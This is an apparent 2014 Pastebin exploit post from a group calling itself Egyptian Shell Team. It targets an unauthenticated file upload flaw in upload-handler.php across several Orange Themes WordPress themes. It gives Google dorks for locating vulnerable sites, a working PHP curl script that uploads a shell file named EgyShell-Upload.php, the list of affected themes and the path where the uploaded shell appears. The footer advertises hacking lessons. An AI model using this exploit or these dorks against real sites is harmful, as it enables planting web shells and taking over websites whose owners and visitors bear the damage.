Dr_FarFar

[+] WP All Orange Themes Remote File Upload Vulnerability .

Feb 6th, 2014
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.13 KB | None | 0 0
  1. /*
  2.  
  3.  ______                  _   _                _____ _          _ _   _______                  
  4. |  ____|                | | (_)              / ____| |        | | | |__   __|                  
  5. | |__   __ _ _   _ _ __ | |_ _  __ _ _ __   | (___ | |__   ___| | |    | | ___  __ _ _ __ ___  
  6. |  __| / _` | | | | '_ \| __| |/ _` | '_ \   \___ \| '_ \ / _ \ | |    | |/ _ \/ _` | '_ ` _ \
  7. | |___| (_| | |_| | |_) | |_| | (_| | | | |  ____) | | | |  __/ | |    | |  __/ (_| | | | | | |
  8. |______\__, |\__, | .__/ \__|_|\__,_|_| |_| |_____/|_| |_|\___|_|_|    |_|\___|\__,_|_| |_| |_|
  9.         __/ | __/ | |                                                                          
  10.        |___/ |___/|_|                            
  11.                                              
  12. ~~~ :xD: Have fun. Don't forget To Bookmark This Website :xD:
  13. ~~~ http://www.egyptianshell.com/
  14. ~~~ Dr.FarFar & Mr.MaGMA & Th3 Mast3r
  15.  
  16. */
  17.  
  18.     #################################################################
  19.     #  WordPress All Orange Themes Remote File Upload Vulnerability #
  20.     #################################################################
  21.  
  22. ########################################################################################
  23. #
  24. # Exploit Title: WordPress All Orange Themes Remote File Upload Vulnerability
  25. #
  26. # Vendor Homepage: http://www.orange-themes.com/
  27. #
  28. # Infected File: upload-handler.php
  29. #
  30. # Category: WebApps
  31. #
  32. # Google dork:   ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
  33. #
  34. # Allinurl:"/wp-content/themes/agritourismo-theme/"
  35. # Allinurl:"/wp-content/themes/bordeaux-theme/"
  36. # Allinurl:"/wp-content/themes/bulteno-theme/"
  37. # Allinurl:"/wp-content/themes/oxygen-theme/"
  38. # Allinurl:"/wp-content/themes/radial-theme/"
  39. # Allinurl:"/wp-content/themes/rayoflight-theme/"
  40. # Allinurl:"/wp-content/themes/reganto-theme/"
  41. # Allinurl:"/wp-content/themes/rockstar-theme/"
  42. #
  43. # Tested on : Windows/Linux/Mac
  44. #
  45. ########################################################################################
  46.  
  47. [+] Exploit
  48.  
  49. <?php
  50. $uploadfile="EgyShell-Upload.php";
  51. $ch = curl_init("http://[LocalHost]/wp-content/themes/[Theme Name]/functions/upload-handler.php");
  52. curl_setopt($ch, CURLOPT_POST, true);
  53. curl_setopt($ch, CURLOPT_POSTFIELDS,
  54.         array('orange_themes'=>"@$uploadfile"));
  55. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  56. $postResult = curl_exec($ch);
  57. curl_close($ch);
  58. print "$postResult";
  59. ?>
  60.  
  61. ########################################################################################
  62.  
  63.     [+] [Theme Name]
  64.  
  65.     agritourismo-theme
  66.     bordeaux-theme
  67.     bulteno-theme
  68.     oxygen-theme
  69.     radial-theme
  70.     rayoflight-theme
  71.     reganto-theme
  72.     rockstar-theme
  73.                    
  74. ########################################################################################
  75.  
  76. [+] http://127.0.0.1/wordpress/wp-content/uploads/2014/02/EgyShell-Upload.php
  77.  
  78. ########################################################################################
  79.  
  80.  
  81.             لمزيد من المعلومات او لمزيد من دروس القرصنه    
  82.        
  83.                     تابعونا علي
  84.  
  85.                 https://www.facebook.com/egyshell
  86.                 http://WwW.EgyptianShell.com/
  87.  
  88.                      ~\ Dr.FarFar & Mr.MaGMA & Th3 Mast3r /~
Advertisement
Add Comment
Please, Sign In to add comment